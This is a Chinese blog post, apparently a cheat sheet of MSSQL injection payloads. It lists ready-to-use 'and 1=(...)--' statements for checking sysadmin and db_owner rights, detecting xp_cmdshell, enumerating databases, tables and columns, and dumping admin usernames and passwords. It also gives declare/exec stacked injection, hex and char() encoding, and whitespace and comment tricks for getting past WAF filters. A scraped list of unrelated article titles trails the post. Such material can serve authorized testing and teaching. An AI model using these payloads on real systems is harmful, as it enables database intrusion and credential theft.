本章目录:

  • 基础语句
  • 注入点权限判断
  • 获取数据库
  • 获取指定数据库中的表的列的数据库
  • 判断数据库级别的角色
  • SQL特性:

关于mssql的注入语句,跟mysql也差不了多少,都是从information_scheam库中获取各种数据。

基础语句

  • select ***://查询指令

  • @@version // 数据库版本

  • system_user //系统用户名

  • suser_sname() //查出当前操作数据库的登入名,一般和触发器一起用来监控是谁对表做了操作

  • user //获取当前数据库用户名

  • db_name() // 当前数据库名 其中db_name(N)可以来遍历其他数据库

  • db_name(7) //查询库名,1-6为系统库,7开始为其他库

  • (select host_name()) //主机名

  • ;select user //查询是否支持多语句

  • and exists(select * from sysobjects) //确实目标是否真的为mssql数据库,页面返回正常则是**

  • and exists(select username from manage) // 猜解字段

注入点权限判断

  • and 1=(select is_srvrolemember(‘sysadmin’)) //判断是否是系统管理员

  • and 1=(select is_srvrolemember(‘db_owner’)) //判断是否是库权限

  • and 1=(select is_srvrolemember(‘public’)) //判断是否为public权限

  • (select count(*) from master.dbo.sysobjects where xtype=‘X’ and name=‘xp_cmdshell’)
    //查询xp_cmdshell,1为存在

  • (select name from master.dbo.sysdatabases where dbid=7)
    //修改dbid数值,查询库名,1-6为系统库

获取数据库

(该语句是一次性获取全部数据库的,且语句只适合>=2005,两条语句可供选择使用)

and 1=(select quotename(name) from master…sysdatabases FOR XML PATH(’’))–

and 1=(select ‘|’%2bname%2b’|’ from master…sysdatabases FOR XML PATH(’’))–

获取指定数据库中的表的列的数据库

  • 逐条爆指定表的所有字段的数据(只限于mssql2005及以上版本):

    and 1=(select top 1 * from 指定数据库…指定表名 where排除条件 FOR XML PATH(’’))–

  • 一次性爆N条所有字段的数据(只限于mssql2005及以上版本):

    and 1=(select top N * from 指定数据库…指定表名 FOR XML PATH(’’))–

注:
第一条语句:and 1=(select top 1 * from 指定数据库…指定表名 FOR XML PATH(’’))–

加上where条件筛选结果出来会更加好,如:where and name like ‘%user%’ 就会筛选出含有user关键词的出来,用在筛选表段时很不错。

注入语句可以用char()表示,以下是统计下总共有多少个库

(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT([name]) AS nvarchar(4000)) FROM [master]…[sysdatabases] )+CHAR(58)+CHAR(58))

查询多条数据可以使用%2B 也就是加号,如果语句中有+号报错,可以url编码成%2B

select null,name%2Bpass,null from info

判断数据库级别的角色

  • select IS_MEMBER(‘db_owner’) //查看当前角色是否为db_ownwer

  • (select top 1 name from sysobjects where xtype=‘U’) //查询当前库第一个表名

  • (select top 1 table_name from master.information_schema.tables)
    //查询master库第一个表名

  • (select top 1 name from bbs.dbo.sysobjects where xtype=‘U’)
    //查询bbs库第一个表名

  • (SELECT DISTINCT top 1 TABLE_NAME FROM (SELECT DISTINCT top 1 TABLE_NAME FROM riseyour_availbgur.information_schema.TABLES ORDER BY TABLE_NAME ASC) sq ORDER BY TABLE_NAME DESC)
    //假设你在当前库中并没有看到管理表,这时不妨尝试跨库查,前提是你要有权限才行

  • (select top 1 name from sysobjects where xtype=‘U’ and name not in (‘表名1’,‘表名2’)) //查询其他表

  • (select top 1 table_name from information_schema.tables where table_name not in (‘表名1’,‘表名2’)) //查询其他表

  • (select name from sysobjects where xtype=‘U’ FOR XML PATH(’’)) //快速查询所有表

  • (select ‘|’%2bname%2b’|’ from sysobjects where xtype=‘U’ FOR XML PATH(’’)) //快速查询所有表

  • (select top 1 name from syscolumns where id=object_id(‘admin’)) //查询当前库admin表的第一个列名

  • (select top 1 name from syscolumns where id=object_id(‘admin’) and name not in(‘列名1’,‘列名2’) //查询当前库admin表的其他列名

  • (select top 1 column_name from information_schema.columns where table_name=‘admin’ and column_name not in(‘列名1’,‘列名2’))
    //查询当前库admin表的其他列名

  • (select name from syscolumns where id=object_id(‘admin’) FOR XML PATH(’’)) //快速查询所有列

  • (select top 1 password from bbs.dbo.admin) //查询bbs库admin表password列的第一个值

  • (select top 1 password from admin where password not in (‘值1’,‘值2’)) //查询其他值

  • (select password+username from admin FOR XML PATH(’’)) //快速查询所有值

  • (select top 1 name from sysobjects where xtype=‘U’ and name not in(select top 0 name from sysobjects where xtype=‘u’))
    //变化0来快速查询

  • (select top 0 name from 表名) //变化0来快速查询

SQL特性:

  1. mssql空白符,%01-%20都为空白符--和/**/为注释%00也可充当注释符

  2. 引进一个declare 函数,他是mssql声明局部变量的函数,我们经常用它来绕过waf对一些关键词的拦截

    1. select * from admin where id =1;declare @a nvarchar(2000) set @a=‘select convert(int,@@version)’ exec(@a) --

    堆叠注入,使用declare 和exec进行无select注入

    1. declare @s varchar(2000) set @s=0x73656C6563742031 exec(@s)

    declare定义变量 set设置变量值 exec执行变量

  3. 变量的值是支持hex和ascii码的,当过滤引号我们就可以这么用

避免使用引号

(select top 1 name from syscolumns where id=object_id(‘admin’))

(select top 1 name from syscolumns where id=object_id(char(97)+char(100)+char(109)+char(105)+char(110)))

Sql server注入分类之语句总结相关推荐

  1. sql server学习笔记——批处理语句、存储过程

    目录 批处理语句 1.批处理语句简介 示例一: 示例二: 存储过程 一.什么是存储过程 1.存储过程的简介 2.存储过程包含的内容 3.存储过程的优点 4.存储过程的分类 系统存储过程: 用户定义存储 ...

  2. SQL Server FOR XML PATH 语句的应用---列转行

    经常在论坛看到高手使用了 for xml path,由于是搜索一下,记录了详细的使用方法. 在SQL Server中利用 FOR XML PATH 语句能够把查询的数据生成XML数据,下面是它的一些应 ...

  3. sql server注入_SQL注入:SQL Server中的介绍和预防方法

    sql server注入 A SQL injection attack is one of the most commonly used hacking techniques. It allows h ...

  4. SQL server注入

    一.基础知识 系统数据库 master数据库 master是SQL server最重要的数据库,是整个数据库的核心,用户不能直接修改.里面数据库包括用户的登陆信息.用户所在的组.所有系统的配置选项.服 ...

  5. SQL Server FOR XML PATH 语句的应用

    在SQL Server中利用 FOR XML PATH 语句能够把查询的数据生成XML数据,下面是它的一些应用示例. DECLARE @TempTable table(UserID int , Use ...

  6. SQL Server 数据库部分常用语句小结

    1. 查询某存储过程的访问情况 SELECT TOP 1000 db_name(d.database_id) as DBName, s.name as 存储名字, s.type_desc as 存储类 ...

  7. SQL Server 2000优化SELECT语句方法

    本文是SQL Server SQL语句优化系列文章的第一篇.该系列文章描述了在Micosoft's SQLServer2000关系数据库管理系统中优化SELECT语句的基本技巧,我们讨论的技巧可在Mi ...

  8. 在SQL Server中插入IN-T-SQL语句

    In this article, we will go deeply through the INSERT INTO statement by showing the different syntax ...

  9. 如何从SQL Server中的SELECT语句更新

    In this article, we will learn different methods that are used to update the data in a table with th ...

最新文章

  1. 刚刚、几秒前,时间格式化函数
  2. mongodb主从设置,capped collections等常用命令集合
  3. Starting HAL daemon:[FAILED]
  4. vim基础-一般模式
  5. 04_Pytorch生态、PyTorch能做什么、PyTorch之Autograd、autograd案例、GPU加速案例
  6. ArcGIS API For JS之网络分析(临近设施分析)
  7. shiro 解决 跨域(仅端口不同) 登陆 问题
  8. ajax then jquery,使用Jquery.ajax()。then()时无法.catch()错误
  9. Linux内存管理:TLB flush操作
  10. 微软重写 Windows 10 激活规则
  11. pta l2-1紧急救援(Dijkstra)
  12. 可视化卷积神经网络的过滤器
  13. Maven常用命令汇总
  14. oracle导出1000万数据,1000万条数据,最好用什么工具做,是sql,还是oracle,抑或vfp?...
  15. 计算机无法连接到桌面,Win7系统桌面天气小工具提示解决方案无法连接到服务...
  16. Mac应用程序、软件、工具仓库
  17. 《嵌入式 – GD32开发实战指南》第15章 低功耗(电源管理)
  18. 十个程序员必备的网站推荐和较出名的国外程序员论坛
  19. 计算机硕士论文的框架应该怎么写,计算机硕士论文提纲模板 计算机硕士论文框架怎样写...
  20. 升级Android8.0系统原来APP图标变为小机器人的问题

热门文章

  1. Latex安装与配置
  2. git push 详解
  3. 二叉树创建,递归遍历,非递归遍历
  4. 【技术认证题库】SCCA理论aDesk-1考试【初级】
  5. 英语的原理∶用美国人的思维学英语
  6. 新版本的AutoCAD2018 怎样删除 A360 Drive盘符
  7. ffmpeg支持的所有格式
  8. 德勤软件定义汽车2020
  9. python无角正方形的绘制
  10. [乐意黎]Centos里MySQL启动后无故停止,并抛 Warning: PDO::query(): MySQL server has gone away